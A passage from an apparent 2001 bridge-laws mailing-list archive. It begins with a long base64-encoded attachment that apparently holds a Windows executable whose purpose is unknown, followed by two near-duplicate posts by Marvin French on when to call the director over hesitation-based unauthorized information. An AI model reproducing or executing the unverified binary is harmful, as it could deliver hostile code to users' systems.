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 hT+CubmnKToNod9a4MfI76p6fmRNl9++ZOFR+O3zt7XzQOhqn31ZHjLg0nCJGpV70kQYXmqEkdJe LdFeGOE2elBr+NS/ioiLYE+8JtSHktJVJOanjQ4PZe3gSkGMWpRanxyTaJOTRaME23oAPi3h9Axs DprP79rIOTzBU+LQU/Hwxl3mapCAet2a6OBBcce/7wD+sA2se16kQwlZCIAGp88e/Pv5MCE3Bb0d dm7LEzCoiHTyVvqLe7nu6KKiHI29/oDWVjrHrEVrHYt4rInxFM+6wo8ZVp7EWbpPvHCrwN7iU2QX 7ENNxZb2SefMHgDTfn87yF//NIasbekUM6o6Oe8bEU03tTS4Mj9v9nEyY4o/4vKvtKr5t+O0Zpuz yrAoKYqrUzxdc1Rs3Tlv1YwsdzTFC8po63CbiJoIb7PbX4rlM6TVgW6MX1YJg2le+hTikcIEsTFu ZXdzAgAAAPANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VEZW96JC12NG16ROXUJS9IJGXYB-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 06:16:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f07JBqB16503 for bridge-laws-outgoing; Mon, 8 Jan 2001 06:11:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f07JBjt16467 for ; Mon, 8 Jan 2001 06:11:46 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 7 Jan 2001 11:10:51 -0800 Message-ID: <004401c078dd$9a576c20$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <00f001c077a9$700618c0$56991e18@san.rr.com> <000501c07802$e7a9b360$0a00000a@pavilion> Subject: Re: [BLML] Annoyingly irregular Date: Sun, 7 Jan 2001 11:10:04 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Mike Dodson wrote: > Marv wrote: > > Here is my intent: > > > > When UI is apparently created in a situation that could lead to trouble, > > opponents should ask amicably, "Are we agreed that some unauthorized > > information has been communicated?" > > > > If the answer is yes, bid on, play on, calling the TD only if the > opponents > > seem inexperienced and may need to be informed of the Laws pertaining to > UI. > > If the answer is no, either forget the whole matter or call the TD > > immediately. All the TD does at this time is determine whether UI has > indeed > > been communicated. Failure to get the TD's help at this point makes hir > job > > harder later, and might make a difference in what s/he decides. > > > > It is improper, although common, to notice the UI, say nothing, and then > call > > the TD when an opponent takes an action that could be based on it. If that > is > > what the ACBL intends, it is wrong. There is no "substantial reason to > > believe" there has been an infraction at that time. Calling the TD without > > seeing evidence implies that an opponent has probably done something > > unethical, not a nice implication. > > Marv, I don't disagree with your thoughts on how it should be but I thought > this was > indeed ACBL policy. I don't get to many tournaments so I'm not sure how its > really > enforced. Please enlighten me. > There seems to be no uniform policy among ACBL TDs, in my experience. I have experimented with various approaches: calling the TD at the time of a hesitation, calling the TD when a call is made that may have been influenced by a hesitation, getting agreement about a hesitation and not calling the TD until an infraction seems to have happened (seeing the dummy, or at the end of play, as the footnote says). I have not tried the approach of saying nothing until an infraction occurs, which would probably be criticized. Moreover, if the opponents disagree with my opinion that there has been a break in tempo, I forget it. (It is depressing to see how many opponents are willing to deny a very obvious break in tempo.) In no case has the TD told me that I have not followed proper procedure. That is not surprising, since the "Election" regarding 16A1 is incomprehensible. Chip Martel, co-chair of the ACBL LC, wrote me on this subject, "Perhaps best to put this on our list of things to consider for the next laws change." Looking in ACBL's Tech File entitled "Huddles and Hesitations," I see that the two example deals have opponents calling the TD when a player makes a call that may have been influenced by a hesitation. There is no comment as to the timing of the TD call. From this a possible inference is that the ACBL expects the TD call to come when an opponent takes a questionable action, not when the UI is created, and not at times prescribed by the footnote to L16A2. If I get time I'll look thru a few NABC casebooks to see if there is anything pertinent there. I'll also ask one of the ACBL's best TDs how he has been instructed as to the proper procedure. Tune in later. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 06:27:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f07JOSG18056 for bridge-laws-outgoing; Mon, 8 Jan 2001 06:24:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f07JOHt18052 for ; Mon, 8 Jan 2001 06:24:17 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 7 Jan 2001 11:20:48 -0800 Message-ID: <005001c078de$fdfa8360$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <00f001c077a9$700618c0$56991e18@san.rr.com> <000501c07802$e7a9b360$0a00000a@pavilion> Subject: Re: [BLML] Annoyingly irregular Date: Sun, 7 Jan 2001 11:20:10 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Mike Dodson wrote: > Marv wrote: > > Here is my intent: > > > > When UI is apparently created in a situation that could lead to trouble, > > opponents should ask amicably, "Are we agreed that some unauthorized > > information has been communicated?" > > > > If the answer is yes, bid on, play on, calling the TD only if the > > opponents seem inexperienced and may need to be informed of the Laws > > pertaining to UI. > > If the answer is no, either forget the whole matter or call the TD > > immediately. All the TD does at this time is determine whether UI has > > indeed been communicated. Failure to get the TD's help at this point > > makes hir job harder later, and might make a difference in what s/he > > decides. > > > > It is improper, although common, to notice the UI, say nothing, and then > > call the TD when an opponent takes an action that could be based on it. If > > that is what the ACBL intends, it is wrong. There is no "substantial > > reason to believe" there has been an infraction at that time. Calling > > the TD without seeing evidence implies that an opponent has probably > > done something unethical, not a nice implication. > > Marv, I don't disagree with your thoughts on how it should be but I > thought this was indeed ACBL policy. Probably correct. > I don't get to many tournaments > so I'm not sure how it's really enforced. Please enlighten me. > There seems to be no uniform policy among ACBL TDs, in my experience. I have experimented with various approaches: calling the TD at the time of a hesitation, calling the TD when a call is made that may have been influenced by a hesitation, getting agreement about a hesitation and not calling the TD until an infraction seems to have happened (seeing the dummy, or at the end of play, as the footnote says). I have not tried the approach of saying nothing until an infraction is evident, which would probably be criticized. Moreover, if the opponents disagree with my opinion that there has been a break in tempo, I forget it. (It is depressing to see how many opponents are willing to deny a very obvious break in tempo.) In no case has the TD told me that I have not followed proper procedure. That is not surprising, since the "Election" regarding 16A1 is incomprehensible. Chip Martel, co-chair of the ACBL LC, wrote me on this subject, "Perhaps best to put this on our list of things to consider for the next laws change." Looking in ACBLScore's Tech File entitled "Huddles and Hesitations," I see that two example deals have opponents calling the TD when a player makes a call that may have been influenced by a hesitation. There is no comment as to the timing of the TD call. From this a possible inference is that the ACBL expects he TD call to come when an opponent takes a questionable action, not when the UI is created, and not at times prescribed by the footnote to L16A2. If I get time I'll look thru a few NABC casebooks to see if there is anything pertinent there. I'll also ask one of the ACBL's best TDs how he has been instructed as to the proper procedure. Tune in later. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 10:10:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f07N6Kv05735 for bridge-laws-outgoing; Mon, 8 Jan 2001 10:06:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f07N6Dt05731 for ; Mon, 8 Jan 2001 10:06:13 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu 